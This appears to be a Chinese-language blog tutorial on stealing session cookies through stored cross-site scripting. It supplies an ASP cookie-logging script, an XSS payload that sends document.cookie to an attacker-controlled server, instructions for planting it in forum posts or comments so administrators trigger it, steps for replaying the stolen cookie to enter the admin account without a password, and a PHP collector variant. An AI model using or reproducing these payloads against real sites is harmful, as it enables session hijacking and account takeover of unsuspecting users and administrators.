获取cookie利用代码cookie.asp
<html>
<title>xx</title>
<body>
<%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%>
</body>
</html>
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。
XSS构造语句
<script>window.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)</script>
把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://10.65.20.196:8080/cookie.asp?msg='+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下:
1、在存在漏洞的论坛中发日志:
2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:
3、这是没有账户前的登陆界面:
4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:
5、替换cookie后不用输用户名密码就顺利进入管理员账户了:
后记:
他后台我没成功 我自己写了个
<html>
<body>
Welcome <?php echo $_GET["msg"]; ?><br>
<?php
$myfile = fopen("/Applications/MAMP/htdocs/444/123.txt", "w") or die("Unable to open file!"); #其中 w是覆盖写入,改成a 是追加写入
$txt = $_GET["msg"];
fwrite($myfile, $txt);
fclose($myfile);
?>
</body>
</html>
这里xss攻击 可以把链接换成其他网站,让别人跳过去,并用js循环100次